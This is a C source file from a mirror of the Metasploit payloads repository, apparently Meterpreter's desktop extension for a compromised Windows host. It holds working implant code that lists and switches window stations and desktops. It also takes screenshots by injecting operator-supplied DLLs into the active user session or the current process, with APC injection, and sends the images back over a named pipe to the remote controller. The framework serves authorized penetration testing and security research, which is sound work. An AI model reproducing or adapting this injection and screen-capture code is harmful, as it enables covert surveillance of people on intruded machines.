1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-30 13:07:22 +02:00
OJ e9b7ec97c0 Implement support for ssl cert verify toggling
Querying of the status of SSL cert verification is now possible. This commit allows for this to be enabled and disabled on the fly.
2015-04-06 14:42:38 +10:00

523 lines
14 KiB
C

#include "precomp.h"
#include "./../sys/session.h"
#include "./../sys/process/ps.h"
typedef struct _DESKTOPLIST
{
DWORD dwSessionId;
char * cpStationName;
Packet * response;
} DESKTOPLIST, *LPDESKTOPLIST;
/*
* Callback function for EnumDesktops when listing desktops on a station during desktop_list().
*/
BOOL CALLBACK desktop_enumdesktops_callback(LPTSTR cpDesktopName, LPARAM lpParam)
{
DESKTOPLIST * dl = NULL;
Tlv entry[3] = { 0 };
DWORD dwSessionId = 0;
do
{
dl = (DESKTOPLIST *)lpParam;
if (!dl)
{
break;
}
if (!dl->cpStationName || !dl->response || !cpDesktopName)
{
break;
}
dwSessionId = htonl(dl->dwSessionId);
entry[0].header.type = TLV_TYPE_DESKTOP_SESSION;
entry[0].header.length = sizeof(DWORD);
entry[0].buffer = (PUCHAR)&dwSessionId;
entry[1].header.type = TLV_TYPE_DESKTOP_STATION;
entry[1].header.length = (DWORD)(strlen(dl->cpStationName) + 1);
entry[1].buffer = (PUCHAR)dl->cpStationName;
entry[2].header.type = TLV_TYPE_DESKTOP_NAME;
entry[2].header.length = (DWORD)(strlen(cpDesktopName) + 1);
entry[2].buffer = (PUCHAR)cpDesktopName;
packet_add_tlv_group(dl->response, TLV_TYPE_DESKTOP, entry, 3);
} while (0);
return TRUE;
}
/*
* Callback function for EnumWindowStations when listing stations during request_ui_desktop_enum().
*/
BOOL CALLBACK desktop_enumstations_callback(LPTSTR cpStationName, LPARAM param)
{
HWINSTA hWindowStation = NULL;
DESKTOPLIST dl = { 0 };
do
{
hWindowStation = OpenWindowStation(cpStationName, FALSE, MAXIMUM_ALLOWED); // WINSTA_ALL_ACCESS
if (!hWindowStation)
{
break;
}
dl.dwSessionId = session_id(GetCurrentProcessId());
dl.response = (Packet *)param;
dl.cpStationName = cpStationName;
EnumDesktops(hWindowStation, desktop_enumdesktops_callback, (LPARAM)&dl);
} while (0);
if (hWindowStation)
{
CloseWindowStation(hWindowStation);
}
return TRUE;
}
/*
* Enumerate all accessible desktops on all stations.
*/
DWORD request_ui_desktop_enum(Remote * remote, Packet * request)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
do
{
response = packet_create_response(request);
if (!response)
{
BREAK_WITH_ERROR("[UI] desktop_enum. packet_create_response failed", ERROR_INVALID_HANDLE);
}
EnumWindowStations(desktop_enumstations_callback, (LPARAM)response);
} while (0);
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
return ERROR_SUCCESS;
}
/*
* Get the session/windows station/desktop we are currently using.
*/
DWORD request_ui_desktop_get(Remote * remote, Packet * request)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
do
{
response = packet_create_response(request);
if (!response)
{
BREAK_WITH_ERROR("[UI] desktop_get. packet_create_response failed", ERROR_INVALID_HANDLE);
}
lock_acquire(remote->lock);
packet_add_tlv_uint(response, TLV_TYPE_DESKTOP_SESSION, remote->curr_sess_id);
packet_add_tlv_string(response, TLV_TYPE_DESKTOP_STATION, remote->curr_station_name);
packet_add_tlv_string(response, TLV_TYPE_DESKTOP_NAME, remote->curr_desktop_name);
lock_release(remote->lock);
} while (0);
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
return ERROR_SUCCESS;
}
/*
* Set this process to use a specified window station and this thread to use
* a specified desktop.
*/
DWORD request_ui_desktop_set(Remote * remote, Packet * request)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
char * cpDesktopName = NULL;
char * cpStationName = NULL;
HWINSTA hWindowStation = NULL;
HWINSTA hOrigWindowStation = NULL;
HDESK hDesktop = NULL;
BOOL bSwitch = FALSE;
DWORD dwSessionId = 0;
do
{
response = packet_create_response(request);
if (!response)
{
BREAK_WITH_ERROR("[UI] desktop_set. packet_create_response failed", ERROR_INVALID_HANDLE);
}
dwSessionId = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SESSION);
if (!dwSessionId)
{
BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_SESSION provided", ERROR_INVALID_PARAMETER);
}
if (dwSessionId == -1)
{
dwSessionId = session_id(GetCurrentProcessId());
}
cpStationName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION);
if (!cpStationName)
{
BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_STATION provided", ERROR_INVALID_PARAMETER);
}
cpDesktopName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_NAME);
if (!cpDesktopName)
{
BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_NAME provided", ERROR_INVALID_PARAMETER);
}
bSwitch = packet_get_tlv_value_bool(request, TLV_TYPE_DESKTOP_SWITCH);
dprintf("[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch);
// If we are switching desktop in our own session we proceed with the normal Windows API
if (dwSessionId == session_id(GetCurrentProcessId()))
{
hWindowStation = OpenWindowStation(cpStationName, FALSE, WINSTA_ALL_ACCESS); // WINSTA_ALL_ACCESS MAXIMUM_ALLOWED
if (!hWindowStation)
{
if (RevertToSelf())
{
hWindowStation = OpenWindowStation(cpStationName, FALSE, WINSTA_ALL_ACCESS);
}
}
if (!hWindowStation)
{
BREAK_WITH_ERROR("[UI] desktop_set. Couldnt get the new Window Station", ERROR_INVALID_HANDLE);
}
hOrigWindowStation = GetProcessWindowStation();
if (!SetProcessWindowStation(hWindowStation))
{
BREAK_ON_ERROR("[UI] desktop_set. SetProcessWindowStation failed");
}
hDesktop = OpenDesktop(cpDesktopName, 0, FALSE, GENERIC_ALL);
if (!hDesktop)
{
BREAK_ON_ERROR("[UI] desktop_set. OpenDesktop failed");
}
if (!SetThreadDesktop(hDesktop))
{
BREAK_ON_ERROR("[UI] desktop_set. SetThreadDesktop failed");
}
if (bSwitch)
{
if (!SwitchDesktop(hDesktop))
{
BREAK_ON_ERROR("[UI] desktop_set. SwitchDesktop failed");
}
}
core_update_desktop(remote, dwSessionId, cpStationName, cpDesktopName);
}
else
{
// if we are to use a desktop from a session which is not our own...
BREAK_WITH_ERROR("[UI] desktop_set. Currently unable to set a desktop from an external session", ERROR_ACCESS_DENIED);
}
} while (0);
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
if (hDesktop)
{
CloseDesktop(hDesktop);
}
if (hWindowStation)
{
CloseWindowStation(hWindowStation);
}
if (hOrigWindowStation)
{
SetProcessWindowStation(hOrigWindowStation);
}
if (dwResult != ERROR_SUCCESS)
{
core_update_desktop(remote, -1, NULL, NULL);
}
return ERROR_SUCCESS;
}
/*
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
* screenshot for the first client which connects to it.
*/
DWORD THREADCALL desktop_screenshot_thread(THREAD * thread)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hServerPipe = NULL;
HANDLE hToken = NULL;
char * cpNamedPipe = NULL;
Packet * response = NULL;
BYTE * pBuffer = NULL;
DWORD dwRead = 0;
DWORD dwLength = 0;
DWORD dwTotal = 0;
do
{
if (!thread)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. invalid thread", ERROR_BAD_ARGUMENTS);
}
cpNamedPipe = (char *)thread->parameter1;
response = (Packet *)thread->parameter2;
if (!cpNamedPipe || !response)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS);
}
dprintf("[UI] desktop_screenshot_thread. cpNamedPipe=%s", cpNamedPipe);
// create the named pipe for the client service to connect to
hServerPipe = CreateNamedPipe(cpNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL);
if (!hServerPipe)
{
BREAK_ON_ERROR("[UI] desktop_screenshot_thread. CreateNamedPipe failed");
}
while (TRUE)
{
if (event_poll(thread->sigterm, 0))
{
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD);
}
// wait for a client to connect to our named pipe...
if (!ConnectNamedPipe(hServerPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED)
{
continue;
}
dprintf("[UI] desktop_screenshot_thread. got client conn.");
if (!ReadFile(hServerPipe, &dwLength, sizeof(DWORD), &dwRead, NULL))
{
BREAK_ON_ERROR("[UI] desktop_screenshot_thread. ReadFile 1 failed");
}
// a client can send a zero length to indicate that it cant get a screenshot.
if (!dwLength)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. dwLength == 0", ERROR_BAD_LENGTH);
}
pBuffer = (BYTE *)malloc(dwLength);
if (!pBuffer)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. pBuffer malloc failed", ERROR_NOT_ENOUGH_MEMORY);
}
while (dwTotal < dwLength)
{
DWORD dwAvailable = 0;
if (!PeekNamedPipe(hServerPipe, NULL, 0, NULL, &dwAvailable, NULL))
{
break;
}
if (!dwAvailable)
{
Sleep(100);
continue;
}
if (!ReadFile(hServerPipe, (LPVOID)(pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL))
{
break;
}
dwTotal += dwRead;
}
dwResult = packet_add_tlv_raw(response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal);
break;
}
} while (0);
if (hServerPipe)
{
DisconnectNamedPipe(hServerPipe);
CLOSE_HANDLE(hServerPipe);
}
SAFE_FREE(pBuffer);
dprintf("[UI] desktop_screenshot_thread finishing, dwResult=%d", dwResult);
return dwResult;
}
/*
* Take a screenshot of the desktop and transmit the image (in JPEG format) back to the client.
*/
DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
THREAD * pPipeThread = NULL;
LPVOID lpDllBuffer = NULL;
DLL_BUFFER DllBuffer = { 0 };
char cNamedPipe[MAX_PATH] = { 0 };
char cCommandLine[MAX_PATH] = { 0 };
int quality = 0;
DWORD dwDllLength = 0;
DWORD dwPipeName = 0;
DWORD dwCurrentSessionId = 0;
DWORD dwActiveSessionId = 0;
do
{
response = packet_create_response(request);
if (!response)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. packet_create_response failed", ERROR_INVALID_HANDLE);
}
quality = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
if (quality < 1 || quality > 100)
{
quality = 50;
}
// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system
// we dont need to send the x64 screenshot dll as there will be no x64 processes to inject it into.
DllBuffer.dwPE32DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH);
DllBuffer.lpPE32DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER);
DllBuffer.dwPE64DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH);
DllBuffer.lpPE64DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER);
if (!DllBuffer.lpPE32DllBuffer && !DllBuffer.lpPE64DllBuffer)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. Invalid dll arguments, at least 1 dll must be supplied", ERROR_BAD_ARGUMENTS);
}
// get the session id that our host process belongs to
dwCurrentSessionId = session_id(GetCurrentProcessId());
// get the session id for the interactive session
dwActiveSessionId = session_activeid();
// create a uniuqe pipe name for our named pipe server
dwPipeName = GetTickCount();
_snprintf(cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName);
// create the commandline to pass to the screenshot dll when we inject it
_snprintf(cCommandLine, MAX_PATH, "/s /q:%d /p:0x%08X\x00", quality, dwPipeName);
dprintf("[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine);
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
pPipeThread = thread_create(desktop_screenshot_thread, &cNamedPipe, response, NULL);
if (!pPipeThread)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE);
}
if (!thread_run(pPipeThread))
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_run failed", ERROR_ACCESS_DENIED);
}
Sleep(500);
// do the local process or session injection
if (dwCurrentSessionId != dwActiveSessionId)
{
dprintf("[UI] desktop_screenshot. Injecting into active session %d...\n", dwActiveSessionId);
if (session_inject(dwActiveSessionId, &DllBuffer, cCommandLine) != ERROR_SUCCESS)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. session_inject failed", ERROR_ACCESS_DENIED);
}
}
else
{
dprintf("[UI] desktop_screenshot. Allready in the active session %d.\n", dwActiveSessionId);
if (ps_inject(GetCurrentProcessId(), &DllBuffer, cCommandLine) != ERROR_SUCCESS)
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. ps_inject current process failed", ERROR_ACCESS_DENIED);
}
}
// Wait for at most 30 seconds for the screenshot to happen...
// If we have injected our code via APC injection, it may take a while for the target
// thread to enter an alertable state and get our queued APC executed.
WaitForSingleObject(pPipeThread->handle, 30000);
// signal our thread to terminate if it is still running.
thread_sigterm(pPipeThread);
// and wait for it to terminate...
thread_join(pPipeThread);
// get the exit code for our pthread
if (!GetExitCodeThread(pPipeThread->handle, &dwResult))
{
BREAK_WITH_ERROR("[UI] desktop_screenshot. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
}
} while (0);
if (response)
{
packet_transmit_response(dwResult, remote, response);
}
if (pPipeThread)
{
thread_sigterm(pPipeThread);
thread_join(pPipeThread);
thread_destroy(pPipeThread);
}
return dwResult;
}